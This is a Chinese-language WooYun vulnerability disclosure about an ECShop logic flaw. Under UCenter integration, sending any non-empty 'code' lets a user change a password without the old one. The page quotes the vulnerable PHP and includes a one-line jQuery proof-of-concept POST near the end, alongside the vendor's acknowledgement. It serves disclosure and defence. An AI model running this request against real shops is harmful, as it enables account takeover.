当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-51149

漏洞标题: ecshop绕过原密码校验直接修改用户密码(安全隐患)

相关厂商: ShopEx

漏洞作者: ksc

提交时间: 2014-02-17 11:14

公开时间: 2014-05-18 11:15

漏洞类型: 设计缺陷/逻辑错误

危害等级: 低

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-17: 厂商已经确认,细节仅向厂商公开
2014-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-04-13: 细节向核心白帽子及相关领域专家公开
2014-04-23: 细节向普通白帽子公开
2014-05-03: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

最新版本也存在此问题

详细说明:

该漏洞有个前提,需要会员系统整合ucenter



问题出在

user.php $action == 'act_edit_password'

QQ截图20140217093645.png





code 区域
$old_password = isset($_POST['old_password']) ? trim($_POST['old_password']) : '';
$new_password = isset($_POST['new_password']) ? trim($_POST['new_password']) : '';
$user_id = isset($_POST['uid']) ? intval($_POST['uid']) : $user_id;
$code = isset($_POST['code']) ? trim($_POST['code']) : '';

if (strlen($new_password) < 6)
{
show_message($_LANG['passport_js']['password_shorter']);
}

$user_info = $user->get_profile_by_id($user_id); //论坛记录

if (($user_info && (!empty($code) && md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']) == $code)) || ($_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password)))
{
if ($user->edit_user(array('username'=> (empty($code) ? $_SESSION['user_name'] : $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), empty($code) ? 0 : 1))
{
$user->logout();
show_message($_LANG['edit_password_success'], $_LANG['relogin_lnk'], 'user.php?act=login', 'info');
}
else
{
show_message($_LANG['edit_password_failure'], $_LANG['back_page_up'], '', 'info');
}
}





我把上面主要代码精简一下

$code='123';

$old_password=null;

$user_info['user_name']=当前用户名

code 区域
if( false ||$_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password))){
#ucenter 模块中check_user未对原密码校验此处为True

if ($user->edit_user(array('username'=> ( $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), 1))
{
#edit_user() $code不为空,所以最后一个参数为1 则不校验原密码直接修改
成功修改密码
}

}



问题主要出在两个地方

1.ucenter用户整合模块实现check_user()时未校验原密码

2. 通过code找回密码的代码和通过原密码修改密码的代码弄的到一块了

if语句嵌套太多容易扯着蛋蛋

漏洞证明:

登录网站打开调试 粘贴以下js代码运行(为了简化代码,假设有jquery)

code 区域
$.post('user.php?act=act_edit_password',{'new_password':'123456',code:'不为空就行'},
function(data){

});



然后刷新代码

若是退出状态则修改密码成功

修复方案:

版权声明:转载请注明来源 ksc@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-02-17 11:47

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快处理
谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-02-20 16:05 | Wens0n ( 普通白帽子 | Rank:102 漏洞数:22 | 精华漏洞数:32 | WooYun认证√ 舞蹈系教授)
    0

    很牛的样子!

  2. 2014-02-24 21:53 | 牧马者 ( 路人 | Rank:0 漏洞数:1 | 菩提本无树明镜亦非台本来无一物何处惹尘埃)
    0

    很牛的样子!

登录后才能发表评论,请先 登录